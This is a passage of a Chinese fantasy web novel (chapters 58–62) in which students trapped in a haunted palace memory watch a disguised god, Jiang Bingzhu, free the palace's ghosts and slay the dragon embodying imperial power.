但旁观的学生们已经知道,未来要发生什么了。 ——这是幽帝行宫中,唯一一位成功出逃的美人的记忆。她未来的命运,已经在历史上写好。 这里会不会藏着,能让他们脱离鬼打墙的方法呢? 学生们想着,眼前的画面突然卡顿了一下,其中浮现出无数闪烁的黑白光点,就像是老式电视机坏掉时出现的雪花屏。 这是什么情况?还有他们意想不到的诡异存在吗! 学生们屏住了呼吸,紧张地盯着前方,直到画面终于重新稳定下来,他们看见…… 一双遮在他们头顶天空上的、白皙而修长的手。 那一刻,学生们感到荒谬极了。 他们觉得自己就像是木偶戏里的一个个演员,而那双手、那双从天而降的手的主人,才是这幕戏剧真正的操纵者。 祂拿起行宫的一座座宫殿又放下,完全更改了幽帝行宫中的格局,却像是人类摆弄乐高时一样轻松。 “好了,”高空中,一个声音轻松地说,“我们来玩个游戏吧。” 随着祂话音落下,侍卫手中的白布飘然落下,那些被遮盖的屍体一个又一个地……重新站了起来! 一股无形的风悄然吹来,很有仪式感地为屍体们整好衣冠,顺便正了下发型。 如果不是站着的姿势稍显僵硬,看起来简直和活人一模一样! 围观的学生们惊得完全说不出话来,下意识环顾自己的四周,没发现有尸体从土里冒出来,才稍微松了口气。 幸好刚刚所有的变化,只发生在盒子所展现出的记忆里。 可是,那个堪称恐怖的场景到底是本来就有的,还是有高位存在更改了那段记忆、抑或是说祂通过这段记忆,对已经过去的时间造成影响。 学生们都想不明白,甚至都不敢明白。 该死的,他们只是想从这见鬼的鬼打墙里出去!到底都遇到了些什么啊! 但A班几名更为敏锐的学生,却在这时发现了新的华点。 “刚刚说话的声音听起来……怎么有点像小江?” 第59章 江秉燭按自己的心意重新布置了一遍幽帝行宫的結局, 满意地在宝座上坐了回去。 虽然克莱登学院的艺术节办得一波三折,但江秉燭还是从中找到了不少乐趣。 人类历史上的那些作家写出过很多有趣的作品,可对江秉燭来说, 它们的数量还是太少了, 不足以填补他漫长的无聊。 行宫里有很多冤魂,幽帝、后妃、宫人,每个人都因为强烈的执念而留存在这里上千年之久。 在满意的怨恨与愤怒之间, 他们有各自有一些即便失去性命也想完成的事。 江秉燭很好奇, 如果有一次重来的机会, 他们会怎么选择。 当然,另一部分原因是,幽帝这样的存在作为对手,实在是太无趣了。 江秉烛摆弄着宝座边放着的香炉,金制的香炉在他手里一会儿被捏成一只胖狗,一会儿被捏成一尾游鱼。 让他真正感到好玩的事情总是很少。 但这其实是江秉烛生活的常态,不论他成神前后,都占据了大部分的时间, 他早該对此习惯了的。 江秉烛也记不清楚,他从什么时候开始,觉得自己的生活格外无聊。 —— 盒子里的记忆骤然變成另一种模样, 学生们还没来得及想清楚发生了什么, 便被奇怪的力量裹挟着,跌入了记忆中的世界。 远处那片在时光流逝中原本變得斑驳老旧的朱墙在他们的视野里焕然一新,宫殿屋顶上鲜亮的琉璃瓦反射着微弱的月光, 在夜色中, 美得像人间仙境。 学生们:“……” 虽然这真的很好看, 但他们真的只是想来参观一下旅游景点, 不必这么写实的啊! 万般无奈下,他们只能自认倒霉,分析起眼前的状况。 那些死而複生的后妃宫人们,包括记忆主视角中那个即将进行宫的女孩,都看不见他们的存在。 侍衛们看起来并没有自主意识,而是命令的执行者,不过,也看不见他们。 不被看见意味着正常情况下不会被攻击,这对学生们来说,已经是非常好的消息了。但他们需要寻找離开这片记忆的方法。 满足冤魂的心愿?还是达成特定的条件? 正想着,在他们不远处,那些死而複生的后妃宫人们已经开始了行动,嘴唇一張一合,喃喃地说着些什么。 大约是身体已死、残魂又徘徊千年的缘故,她们行动时能看出与旁人明显的差異,说的话也不太能叫人听懂。 司律侧耳倾听,分辨了一会,才歎了口气:“是‘離开’和……‘回家’。” 冤魂们行动的方向,确实与那堵朱红色的宫墙背道而驰。 学生们怔了怔,随即意识到,这确实應該是行宫中大部分人的执念。 哪怕在位的皇上不是幽帝那样的暴君,谁又愿意在一片宫墙间谨小慎微地待一辈子,与家人永不相见呢? 这对他们而言,确实太悲哀了。 学生们感慨着,却快步跟上了冤魂们的腳步。 ——他们要離宫回家,那只要跟着他们,等離开了这段记忆,他们不就也能走出那片鬼打墙了吗! 大部分人都跟了上去,司律却还没走。 他弯下腰,在地上摸索片刻,捡起之前那只掉落的金簪,用道袍擦了擦。 道袍洁白的广袖上沾染了血迹与尘土,蒙尘的金簪却重新焕发光彩。 与此同时,他们身后传来一阵急促的腳步声。 一群侍衛追了过来! 原本只是跟着冤魂们向前的学生心中一惊,转瞬却又明白过来。 行宫中的冤魂这样多,有嬪妃、有宫人,当然也可能有……那个被他们一起捅死的荒唐暴君。 侍衛们听从幽帝的命令,要过来追殺这些想要离宫,还做出过大逆不道的刺殺之举的冤魂! 司律正要出手,安静许久的江亦宁却忽然开口攔住了他。 “我们现在的状况很不明朗,既然侍衛看不见我们,也不会攻击,不如少一件事。” 许思恒第一个站出来高声同意。 总之冤魂们也是死了上千年的人了,和他们有什么关系,只要能带他们找到出去的路,管那些冤魂是死是活呢。 司律皱了皱眉。 犹豫的瞬间,出逃的冤魂们已经被侍卫们追上了。双方打在一起,想要干掉没有自主意识的侍卫对现在的冤魂来说并不困难,但眼神好的学生看得出,冤魂的颜色也变淡了一点。 ——他们毕竟不是真的活人,哪怕在这片记忆里,也会随着行动而渐渐消散。 可是那也太惨了! 怎么有人都成鬼了,还得被狗皇帝欺负啊! 几乎是想也不想的,人群里有学生动手了,異能直接往侍卫头上招呼。 如果不是看不到幽帝本人,这份异能可以直接扔到那个该死的暴君身上。 从这一下开始,其他人也纷纷出手,五花八门的异能在树林里飞,把幽暗的行宫都照得更亮了一点。 “多管闲事的家伙。”许思恒骂了一声,但现在的状况,他们怕脱离人群单独行动会出别的岔子,只能站在稍远一点的地方袖手旁观。 追兵的压力小了,冤魂的意识或许支撑不了太多的思考,他们只是一味地向前,向前跑。 跑过蜿蜒的小径、跑过昏暗的树林,把花团锦簇的亭台楼阁全都甩在身后。 然后,他们看到了行宫的大门。 梦寐以求的地方近在咫尺,他们却在这时停下了脚步,学生们也停住了。 有一种无形的力量将他们攔在了门口,让他们无法离开。 一道声音像是命令一样,突兀地出现在他们脑海里。 “凡入宫门者,无令不得出。” ——从踏入宫门里的那一刻起,他们便受到了这规则的约束。 先是被困在鬼打墙里,又是和侍卫一路打过来的学生几乎要崩溃了。 他们折腾了大半夜,怎么还是这个結果! 众人在宫门前停下来,大口大口地喘息着,终于有空思索这段时间里发生的事情。 赵一清:“除了侍卫外,我们这一路并未遇到太多阻碍。可是,鬼打墙是什么时候破解的?” 司律摩挲着袖中的金簪,轻声道:“我想我明白了一部分。” “那道鬼打墙的本意,應该只是冤鬼们的执念阻止我们前进。” 哪怕他们已经进入行宫,在外围徘徊,也要好过真正走进暴君的宫殿。 而冤鬼们真正想要阻止的,应当也不是他们,而是曾经那些无知无觉被带进行宫,在宫墙里潦草一生的自己。 因此,当他们获得了短暂的新生,可以向宫外逃时,鬼打墙便不复存在了。 但在行宫的规则之下,重重宫门仍不对他们打开。 从生至死,由死复生。 一千多年过去,行宫里那些枉死的妃嬪宫人,还是离不开这座行宫。 离不开这个吃人的鬼地方。 —— 主殿之中,江秉烛还在随心所欲地捏着他的香炉。 不管是幽帝的权力,还是不让打开的宫门,都不是他设下的,而是这片行宫自身存在的规则。 江秉烛注意到了,但是未曾干预。 他看着宫门的情形,只觉得这个故事正无可避免地走向人类所说的悲剧。 唉,他最近其实不太想看悲剧来着。 江秉烛感歎的同时,宫门附近的学生与冤鬼们,忽然发现了新的转机。 在追来的侍卫中,有一个人腰间掛着塊与众不同的玉佩——是可以自由进出宫门的凭着! 只要拿到它,就可以离开了! 众人精神一振,这一次主动向着侍卫们出手,去捡他们身上掉落的物品。 战斗持续了一个多小时,甚至更久。直到挺久没有新的侍卫刷新出来了,他们才终于停下。 可他们所看到的,能供人出入宫门的玉佩,从始至终只有一塊。 一块玉佩。 但在场地的学生有二三十个人,冤鬼更是数不胜数。 只有一个人能出去的话,会是谁? 玉佩现在在冤鬼手里,学生们面面相觑,都没有先出手。 一来他们不愿意对这些可怜的鬼动手,二来,双方数量悬殊。如果真的从他们手里抢玉佩走,触怒了冤鬼,导致两方真的打起来,结果也很难说。 “还不是你们多事,之前帮他们拦什么侍卫!现在好了,他们一群死人,拿着玉佩出去又有什么用!” 许思恒在旁边骂骂咧咧的,但是没人附和他,江亦宁便也没帮腔,脸上深深掛着对于冤鬼们命运的同情。 众人神经紧绷着,却突然看到,冤鬼们回过了头,往他们的方向看过来。 冤鬼发现我们的存在了?! 学生们立刻紧張起来,手中异能蓄势待发。 但过了一两秒,他们才意识到,冤鬼的目光并没有看向自己,而是穿过人群落在了后方一个渺小的身影上。 ——是这段记忆的主人。 那个贫穷的女孩从一开始,就被死而复生的尸体们吓得呆住了,谭慧拉着她一路跑到这里。 直到这时,女孩才终于从完全超乎她理解的震撼中缓了过来,有点害怕、又有点迷茫地和冤鬼们对视着。 站在最前面的,是一名衣袍华丽的宫装女子,两行可怖的血痕从她眼角漫下,划过整张脸颊,却依然不影响她动人的美丽。 那块能让人自由进出行宫的玉佩就握在她手里,其他冤鬼却没有一个上来争抢,像是默许了一般。 宫装女子走到女孩面前,蹲了下来,任由泥土弄脏华贵的衣袍。 她动作僵硬地摸了摸女孩的头,把玉佩递到了她的手上。 她的声音像其它冤鬼一样喑哑模糊,学生们都听不清,却又鬼使神差般的,理解了她说的话。 她对那女孩说:“……出去吧。” 第60章 所以这些冤魂, 把唯一一个出去的機会,讓给了那个女孩? A班和京城的学生都愣了愣,没想到最后竟然会是这个走向。 司律无法视物, 可是看不见画面, 却不影响他感受到这样的一份情感。 冤魂们應该知道的,这只是一份记忆。他们在这里有着实现自己執念的最后的機会,但仅此而已。他们已经死了很久, 即便在记忆里重生, 也会随着執念的完成而消散。 而这个女孩, 这份记忆的主人,历史上那唯一一个逃出了幽帝行宫的妃子,她和他们都不一样。 她不是幻影,不是冤魂,她是这处空间里真正的活人,是唯一一个还拥有未来的人。 如果命运还有万分之一的可能降下垂怜,讓这个时空里的一切在她逃出宫门之后依然延续…… 那么她就有可能,获得一段平凡、安稳而幸福的人生。 或许比历史上她曾拥有的, 要好得多。 这份可能,让冤魂们心甘情愿放弃最后的机会。 ——因为那个女孩活着,就是他们活过的证明。 江秉燭听到了宫装女子那一刻的心声, 但这并没有帮助他理解冤魂的选择。 好在他本来也没打算理解。 江秉燭忽然想起来, 自己在很久很久之前,依稀听过類似的话。 那是在诡异世界一处非常荒凉的人類遗迹。白发苍苍、瘦骨嶙峋的老年人類拒绝了他许诺的愿望,轉而从从尘封的补给盒子里, 拿出一块仅剩的食物给他。 “我没什么愿望需要你实现了, 燭, ”他说, 声音像风一样輕,“你活着……那就够了。” “只要你存在,我们的文明就没有真正灭绝。” 江秉燭:“……?” 活着是一切生物的本能,这本来就不需要提醒。況且他又不是人類,人类的文明和他又什么关系。 他对此有很多疑问,但老年人类这么说完,就靠在墙角,安安静静地失去了心跳,死得时候表情看起来非常满足。 人类手里的拿着的那块食物掉在地上,江秉烛的影子把它卷了起来。他尝了尝,是块鱼饼,味道还不错。 看在鱼饼的份上,江秉烛没有把人类从安眠中拉起来,让他解释这番奇怪的话。 总归,人类都是很難理解的生物。 江秉烛坐直了一点,身影从幽帝的宝座上消失。 —— 在行宫的门口,女孩手里握着那块通向外界的玉牌。冤魂和学生们看着她,等她走出这个命定的囚笼。 她張开手,手掌已经推到了深红色的宫门。 就在这一刻,异变陡生! 一个人影从人群中蹿了出来,一把将女孩推倒在地,抢过她手里的離宫玉牌,将它贴上了宫门! 宫门在他的推动下开启了一个仅容一人通过的缝隙,那人身影一闪,便就此消失在了门口。 不论是冤魂还是学生们,在惊变之下都没来得及做出有效的阻拦,直到行宫大门的那条缝隙要开始合拢,才一股脑儿冲了上去。 但他们的力量无法违拗行宫的规则,那扇大门又像原来一样紧锁着,不论多少人用劲,都再也无法推开。 这下,他们都没办法出去了。 站得最近的学生们看得清楚,出手抢夺玉佩的那个人是……江亦宁! 他从很早之前就安静了起来,没人想得到他会在这个时候突然发難。而且,京城人尽皆知,江亦宁有两项评级优秀的异能。其中一项是辅助系的“定向标记”,另一项异能则是可以操纵风进行攻击,两项异能本身,都很难让他有刚才那样的速度。 “是冤魂,”许思恒说,“一定是不知不覺间,冤魂把小宁替换了!” 在进入这段记忆前,他们很难辨认被冤魂替换掉的同伴。但在与冤魂们同行了一路后,他们已经多少能够察覺那种阴冷、不甘的冤气。而那种气息,在刚才的江亦宁身上,确实清晰存在。 一时间,没有人能给出准确的结论。刚刚的事情,究竟是江亦宁的本意,还是冤魂不知不觉间替换了他,去完成自己的执念? 但他们也没有时间想了。 失去了玉牌的冤魂们先是扶起了女孩,然后不约而同地轉过头。 那一雙雙流着血泪的眼睛,此刻终于看向了他们。 在那一瞬间,学生们头皮发麻! 冤魂们……把这笔帐算到了他们头上! 他们不想和冤魂发生冲突是一回事,但在这样的情況下,再不动手,就只剩死路一条。但以雙方的悬殊数量来看,真打起来…… 在失去玉佩后,冤魂们原本还算正常的形態癫狂了起来,阴冷的气息骤然上涨,連带周边的温度都冰得吓人。 赵一清低声提醒着A班的学生们,一步一步后退着。他们必须选择最合适的时机动手,才有可能脱身。 就在这时,前方靠近宫门的地方,空间突然一阵波动。紧接着,几个人类的身影在那里渐渐凝实。 ——江秉烛、黎双白……还有其它那些,被冤魂所替代过的人! 此时此刻,他们几乎站在冤魂的包围里,大多数人臉上还透着迷茫,根本没意识到,他们即将面临什么样的危险! “快、快跑啊!” 不论是A班的,还是京城的学生都在这时失態地大喊了起来,可是他们的同伴还没有彻底清醒过来,而冤魂的注意力彻底被他们所吸引,全都转了过去,转而注视着被替代者们。 完了,绝对完了! 学生们来不及多想,咬紧牙关,正要出手救人。 可下一瞬,那些冤魂却齐齐顿住了动作。 然后,用僵硬地动作,向着那些被替代者的方向……礼貌地福了福身。 学生们:“??!” 别说他们,就連其它的被替代者们回过神来看到这一幕,也是吓了一跳。 只有江秉烛臉上毫无波澜,平静得一如既往。 但那毕竟是江秉烛嘛,A班学生想了想,就释然了。 趁着冤魂们冷静下来一些,他们跑到前面,迅速拉走了自己的同伴,把他们带到安全的地方。 “你们没事吧!”金祈安激动地说着,三言两语讲清楚刚才发生的事情,问,“你们被替换后,去了哪里,遭遇到了什么?” 黎双白揉着额角,缓了一阵子:“说来话长,但……” 他看了看那群冤魂,輕声道:“他们其实没有恶意,都是可怜人。” 这一点,A班的学生们在不久前就深有体会了。 冤魂们活着的时候,就已经过得很可怜,即使带着执念死去,也并没有成为厉害的厉鬼。 他们现在失去了離宫的唯一机会。出不去、逃不开,仅有的一点希望,也这么白白落空了。 学生们作为现代的异能者,都不知道他们还能做些什么,只能看着冤魂们长久地沉默。 ——就连他们自己都不知道接下来要怎么做才能出去,更何况那些死去已久的冤魂们呢。 江秉烛靠在一颗松树上,饶有兴趣地看着前面。 这些冤魂比无能狂怒的幽帝有趣得多。他不知道他们会做出什么选择,也并不打算提前从命运之河里看到结果。 即便百分之九十的可能,冤魂们会无力地待在这里,什么也做不了,就这样烟消云散。 他想着,看见面前的那些冤魂动了。 他们的身影已经变浅了很多,随着时间的流逝还在不断变淡。但他们重新开始行走,这一次不再向着宫门,而是……向着主殿的方向。 可他们不是刚跑出来吗?又要往那里走,是干什么! 按照他们现在的透明程度,走不到宫殿,大概就要散了。冤魂还能想不开,再寻死一次吗? 黎双白喃喃地说:“他们是去找人的。” 吴柏问:“找谁?” “玉牌没有了,但行宫里还有一个人,可无需玉牌,也能左右所有人的出入。”黎双白说。 “他们去找幽帝。” “可是,不管怎么想,那种狗皇帝也不会答應他们吧?”吴柏说。 黎双白缓缓摇了摇头。 幽帝当然不可能会开门,冤魂们必然知道。 但这都不重要了,因为他们的架势不像请求。 ——而是弑君。 即便很可能见不到那个残暴的君主,即便见到了也不一定能成功,也愿意为此,搭上仅剩的残魂吗? 人类啊…… 江秉烛忽然笑了笑,转向司律,简短道:“簪子。” 司律听见他的声音,整个人一愣,甚至都没有顾上江秉烛并不客气的语气,把手中的金簪递了出去。 江秉烛接过金簪,向前走了几步。 然后,那些冤魂都不约而同地停下了,像是在等着他一样。 江秉烛没什么特别的表示,只是用手抚了一遍簪子。 松树梢上,残月的光冷清地照下来,映出了金簪尾部那些精致到夸張的镂刻。 可其他人之前没注意到的是,金簪的头部其实很细,磨得又尖又利,不像饰品,像把能置人于死地的针。 江秉烛并没有将金簪簪回宫装女子繁复的发髻上,而是放到了她的手里。 “你忘了带上它。”他说。 宫装女子的手不知为什么颤抖起来,后面的其它冤魂也是如此。 学生们看着眼前的一幕,心里冒出许多问号。 他们当然知道江秉烛是个好人,愿意在这个时候,为冤魂们献上自己的一份微薄的力量。 但是冤魂们对他的态度竟然这么好,两边都感动得执手相看泪眼了,还是让他们挺不理解的。 难道人长得好看,还有特殊待遇吗? “刚才那位,就是江秉烛吧?”司律拿出簪子后,就退回了人群中,轻声问旁边的人。 现在离他最近的人,其实是谭慧。那个被问到的学生也不知道司律为什么一定要问自己,只是点了点头:“对,就是小江。” 司律不再说话,低着头,白绸挡住了他的眼睛,仅凭下半张脸的表情,很少有人知道他在想什么。 他似乎还有什么想说,但是下一刻,整个记忆空间都凝固了! 所有人、包括冤魂们的动作被固定在半空,被定格在了那个瞬间。 紧接着,一种古老而威严的气息,从行宫的土壤下方缓缓升起。 它不仅仅来自于行宫本身,更来自于这一座巍巍皇城里,每一幢古老的建筑! 曾经的那些皇宫、行宫、亲王府……不管建立于哪个朝代、不管如今是何等模样,都响应着这股气息,仿佛在和它一起,缓缓地苏醒。 幽帝少年即位,当了二十多年的皇帝,他至死都以为自己是至高无上的天子,可他却不是这里真正的主宰。 那些后妃宫人曾经做下弑君的壮举,但也没能逃脱这个不朽的循环。 江秉烛微微抬起头,眺望着天边那道明黄色的煌煌的影子。 不管后妃宫人还是幽帝自己,都只是执念形成的冤魂。 那才是行宫中、盘踞在京城里的,真正的诡异。 京城中那些有权有势的大家族的掌事者,都知道祂的存在,并与祂达成了紧密稳固的合作,才能几十年如一日地维系着京城的辉煌。 祂的名字是—— 算了,这不重要。 天边,黄钟大吕似的宏伟声音响起,它威严而庄重,像是规则本身一般不可违逆。 “停下,”那存在说。 “你之所为,已触犯了天威,按律当……” “等一下,”江秉烛打断了祂。 他看着上方,挺新奇地问:“你在命令我?”魔.蝎`小`说 M`o`x`i`e`x`s. c`o`m 60-70 第61章 “你, 在命令我?” 上方发话的存在从未听过这样荒唐的问句,偏偏江秉烛的神态又无比自然。他看起来完全是一个无知的人类,丝毫没有意识到自己所面对的, 是多么伟大的存在。 祂的年岁比这座京城还要古老, 是巅峰的權力凝聚而成的神明。 从人类历史上的第一个皇帝登基封禅,祂便存于世间。每一名新登基的皇帝、每一座建立起的皇城、乃至于庸碌众生的每一声俯首叩拜,最终都会化为祂的一部分, 让他越发超然、越发不可动摇。 祂便是真正的皇權。 没有任何人可以忤逆祂, 也没有任何人可以打破祂立下的規则。 祂并不曾直接回答江秉烛的问题, 只是高高在上的,缓缓降下一道連天地都要为之震颤的威压。 “既见本尊,为何不跪?” 江秉烛:“……?” 他叹了口气。 他就说,京城这种地方最无聊了,亂七八糟的規矩一大堆,烦人得很。 但既然对方非要这么说,他也不是不能回应一下。 江秉烛想着,随手打了个響指。 这一点动静在当前的环境下微弱得几不可闻。 但下一刻, 天穹间忽然翻涌起某种难以名状的巨大力量,祂比皇權更恐怖、比人类的历史更悠远,顷刻间, 天上的云层便被这无形的力量压得四散开来, 一道金色的龍型影子被生生从云端击落,直直坠入行宮! 皇權的化身形如幽帝龍袍上所绣的五爪金龍,巨大的身躯跌落下来, 压塌了雅致的亭台楼阁, 在行宮精心安排的园林上, 制造出狰狞的痕迹。 “轰隆隆”的巨響覆蓋了整座行宮, 但这还不够。那股无形的力量继续压着诡龍的身躯向下,祂的头大半陷进土里,整个诡倒在江秉烛脚下,姿态正像是在对着他俯首称臣。 “如你所愿。”江秉烛说。 既然诡龙对于人类繁複的规矩有着这么奇怪的喜好,那就只好满足祂了。 可惜,祂现在看起来并没有感恩的意思。 诡龙被打了个猝不及防,但反应过来后,身上金光大绽,立刻摆脱了那股无形力量的束缚! 祂张开嘴,吐出几个古老晦涩的字眼。 整个京城都在同一时刻回应祂的话语,京城四角亮起冲天的光芒! 虚幻的金光变做一道道字符,它们連在一起,如同鎖链般,带着万钧之力层层下压,要将江秉烛这个不知天高地厚、蔑视皇权的家夥永远镇在地底。 那道由皇权织就的鎖链罗网压下来,江秉烛站在原地没动,他甚至躲都懒得躲一下。 金光在距离他身邊还有一丈时,忽然像是撞上了一道无形的深渊。字符溃散,锁链消融,京城中大盛的金光被不知名的阴影缠上,发了狂似的向远处逃逸,可是却没能摆脱黑影的追赶,顷刻间被它吞噬,消散得无影无踪。 皇权加诸于此间的意志,或許能令幽帝这样的帝王提心吊胆,能让万万千千的平凡众生无法抬头。它是不可违逆的律令,任何违抗者,只有死路一条。 可它命令不了江秉烛、更束缚不了他。 因为—— 人类的规则,从来无法号令一位凌驾于万物之上的至高神明! 江秉烛抬起手,诡龙的身躯不受控制的向上扬起,颈间那块月牙型的逆鳞被一股力量用力拉扯。 祂不斷挣扎,巨大的身躯在行宮的土地上翻滚出深深的沟壑,龙尾在空中亂扫,撞倒了一片朱红色的宫墙。 江秉烛面无表情地看着这一切,直到那块逆鳞被他硬生生隔空拔了下来! 龙血飞溅。 江秉烛站得离诡龙不远,金色的血液覆蓋了他的小半张脸。 行宫重归黑暗,龙血顺着少年白皙的脸庞向下滑落,散发出的金芒却无法盖过他眼瞳之中诡异的猩红光芒。 江秉烛一言未发,他看着不斷挣扎的诡龙,脑海中一些久远的记忆渐渐浮现。 诡龙的力量,已经很接近于从神,在这个诡气稀薄的世界里,即便说祂是真神,大约也不会有人反驳。 或許就是因为这些相似的点,才让他想起很多位故人。 从初代的光与火之神开始,到后来的命运之神、腐烂之神…… “你们临死的样子,也没有什么差别。”江秉烛轻声说。 哪怕这些家夥的权柄各不相同,可是它们连死前的想法都一模一样,有着令人非常熟悉的恨意与无能狂怒。 诡龙已经死了,鉴于江秉烛对祂并没有别的安排,他把祂複生的可能也清除得干干静静。 只不过…… 江秉烛垂眼,看着诡龙临死前,向与他合作过的人类传达的最后一条消息,心念一动,抹去了最后几个字。 他又想了想,解除了冤魂们身上的限制,从行宫的废墟中,拎出来一团乱糟糟的人形,扔到冤魂们面前。 “他还活着,”江秉烛简短地说,“要做什么,你们自己決定。” 墙也塌了,门也倒了,幽帝还剩一口气,冤魂们虽然快消散了,但是能做的事情还挺多的。 冤魂们已经给出了他相当意外,但又挺满意的答案,江秉烛没有那么在乎結果,将剩下的选择交到了冤魂们的手里。 他说完,看见眼前的冤魂们对着他,又深深地拜了下去。因为这个动作,他们的身体又变得透明了一点。 不论是诡异还是冤魂,这里的存在要遵守的规矩,未免都有点太多了,江秉烛想。 想看的看到了,该打的也打了,他正要从记忆空间里退出去,欣赏行宫里还没被毁的那些建筑,忽然动作一顿。 江秉烛转过身,毫不意外地,看见周夜阑拿着另一条五彩斑斓的鱼,等在自己的身后。 从他出现的那一刻起,行宫的废墟外的一切,都开始变得越发真实。阡陌向远延伸,两道出现了繁华的街市、小巷、茶楼。整个记忆的空间里,不再只有深夜行宫的死寂,也出现了一些喧哗人声,车水马龙。 这里毕竟是京城,出了鬼气森森的行宫,在不实行宵禁的时候,即使到了夜半,街上也總有行人。 果然还是术业有专攻啊,江秉烛有点感慨。就算动用权柄,他也无法凭空创造出这么生动又热闹的画面。 让他弄一些千奇百怪的诡异生物大概是可以的。 但人类……他總是不太理解。 他有时候,也不太懂周夜阑。 “为什么?”江秉烛问。 这话问得没头没尾,周夜阑一邊将手里的金鱼交给他,一边笑了笑,“有时候,我希望世上多一些美好的結局。” 在他们身后,手持金簪的冤魂们,再次将幽帝杀死在他的行宫之中。他死时极为狼狈,满头满脸都是泥土和血,和普通人没什么区别。 而冤魂们本来应该消散的身影,却在此时奇迹般地重新凝实。他们看向自己的手掌——上面不再是尸体一般的青白,而有了活人一样的血色与脉络。 他们感受到,沉寂已久的心跳声在胸腔里再次响起…… 从这一刻起,他们不再是冤魂。 那位离宫的妃子的记忆自成了一个独立的空间,容许他们以自己的身份,继续曾经中断的生活。 这比他们所能想到的任何结局,都要更加幸福。 冤魂们,不,那些行宫中的幸存者们又一次向江秉烛拜了下来。 他们曾经对幽帝做过无数次这样的动作,却没有一次比这次更加真心实意。 “不用这么麻烦,”江秉烛实在是替他们觉得有点累,“做几道菜就行了。” 听京城的人说,有很多宫宴菜都失传了,要是能在这里尝尝,倒是个不错的事。 宫人中的御厨们当即大喜过望。 江秉烛安排好自己的零食,又看向周夜阑:“你这么恶趣味的家伙,原来也喜欢这种结局。” “一点小爱好,”周夜阑斯文地说,“不值得深究。” 江秉烛半眯起眼睛,打量着他。 —— 京城,王家。 王家当今的掌权人站在祠堂里,脸色晦暗不明。 他的表情很少有如此凝重的时刻,直到另外两道虚影也出现在王家祠堂里时,也未曾好转。 京城三大世家的掌权人齐聚一堂,按理说,他们此时此刻的话语、做出的決定,可以决定着整个世界未来的走向。 但他们三人沉默许久,谁也没有率先发言。 直到半柱香都快燃尽,才有人开口道:“我派人确认过,确实出岔子了。” “皇权的化身被人杀了,没有复生的可能。” 这对于与祂结契,维系着京城地位的三大世家而言,显然不是一个好的征兆。 况且,那可是接近于神的存在啊! 一定是有人暗中作乱,并且为此筹谋多时。三大世家的掌权者们不约而同地想。 他们一定要找出这件事背后的人,及早清除那些可怕的威胁! 而皇权化身临死之前,确实也给他们留下了一条讯息—— “犯上作乱者,江……” 信息到这里戛然而止。 这种要紧的时候,还写前面几个字做什么! 现在好了,有用的只有一个字。 三大世家的掌权者们简直要无语了,只能对着仅剩的那个“江”字反复研究。 江,江什么? 紧接着,他们立刻想到,京城之中确实有着江姓的家族。 近年来声望日隆,在各方面都展现出不小的野心。 第62章 随着复生的冤魂们一个一个走出幽帝的行宮, 那片記忆的世界逐渐在他们身后散去。 江秉烛看着周夜闌,刚想说些什么,身后的学生们已经从皇权化身施加的影响中苏醒了过来, 一切都和进入記忆世界前一模一样。 司律手中捧着那个离宮妃嬪留下的盒子——他们原先用了许多办法都没能将它打开, 但现在,盒子复杂的夹层却自动弹了出来。 木盒之中,静静地躺着一支金色的掛件, 形状恰如江秉烛最后递回给宮裝女子的金簪, 只不过要小上很多, 很适合适合做手机掛坠之类的小裝饰。 但不管是A班还是京城的学生们,都对金银珠宝司空见惯。真正引起他们注意的,是那枚金簪上浓鬱的异能气息。 时家尔用自己的能力“审判之眼”探查了一下,那支金簪竟然是接近于S级的特殊物品,可以在必要时召唤出一定數量的冤魂,替使用者进行战斗。 由于金簪的威力在时家尔的异能之上,他没办法看到具体的數值,但想来应该很高。接近于S级的特殊物品, 只要使用得当,是可以发挥出不逊于神选者水准的效果的! 其他人虽然没有时家尔的能力,但也感受到金簪的不凡。 许思恒就站在司律不远处, 伸手便想拿走这样的物品。但金簪挂件却像是有灵性一样避开了他的手, 从木盒里飘了出来,然后在江秉烛眼前,輕輕晃了两下。 这東西竟然自己择主了! 许思恒想起江秉烛给宮装女子递金簪的一幕, 大概明白了前因后果, 颇为嫉妒地转向司律:“我記得, 那个簪子是他从你手里拿过来的。” “你当时可真是失策, 凭着它,就算什么都不做,也能在特级考核里拿到不错的名次吧。” 另有几个京城的学生也是这么想的。如果当时递簪子的是自己,现在那簪子就归他们了!在他们手里,这样稀罕的物品總能比在江秉烛这种异能低微的家伙手里,发挥出更高的作用。 真是暴殄天物。 空气中浮动着一种微妙的情绪,司律抿起嘴,轻轻摇了摇头。 A班的学生看见金簪认主,已经跑过去恭喜江秉烛,因为他以后有防身的東西而感到放心了。江秉烛虽然话不多,但是偶尔回答了两句。 司律听着他的声音,總觉得……和进入記忆世界之前,自己曾经听到的那个摆弄一切的声音格外相似。 也正是因此,在江秉烛来要金簪时,他不敢有一刻推脱。 只看江秉烛如今的异能,他确实平平无奇。可是,真会有一个普通人的声音,和神秘的存在如此相似吗? 况且,司律非常确定,自己捡到金簪时,那只是个普通的饰品,没有任何特殊能力。它之所以会出现在盒中主动认主,中间一定发生过一些不为人知的事情。 就像他现在也已经想不起来,记忆空间最后究竟发生了什么才突然散去,只记得冤魂们似乎得到了不错的结局。 ……是因为江秉烛么? 司律探究地侧过耳,听着A班学生的交谈。 但A班那边,黎双白已经若有若无地将幽帝行宫中的一切变化推到了江秉烛身边那位周顾问的身上。 周顾问在京城炙手可热,没人会质疑他的异能,如果是他出手改变了什么,这很合乎情理。 可司律總是觉得,黎双白的话说得很刻意,像在强调什么,又像在帮人——帮江秉烛撇清什么。 A班这群人和江秉烛之间的关系、周顾问和江秉烛之间的关系……着实让司律感到困惑。 他想,周夜闌性情难以捉摸,唯独对有趣的异能很感兴趣,这在京城不是秘密。这两天里,这位顾问和江秉烛之间过分熟悉的关系在京城也传得很开。 如果江秉烛真的只是个普通人,他到底靠着什么,和周夜闌有了这么好的关系? 正想着,他们听到一阵急促的脚步声。 强光手电的光照亮幽暗的树林,京城中枢局的异能者全副武装,跑了进来。 看到学生们的存在时,他们显然愣了一下,然后说明来意。 “江家二少爷报案,说幽帝行宫中出现詭异事件,他的很多同学被困在里面。他受了很嚴重的伤,现在正在异能医院救治,但和我们交代了,务必要尽快前来救援。” 为首的异能者说完,不禁想起江亦宁被送入急诊室时奄奄一息,却仍然心系自己同学的样子,被这名少年的同学情谊深深感动着。 但面前的学生们却大部分露出了奇怪的表情。 他们还记得,在记忆空间里时,江亦宁是怎么突然发难,抢走玉牌自己离开的。 因为他身上有着冤魂的气息,他们其实不能确定那样的举动究竟是江亦宁的本意,还是他被某个冤魂影响而造成的。 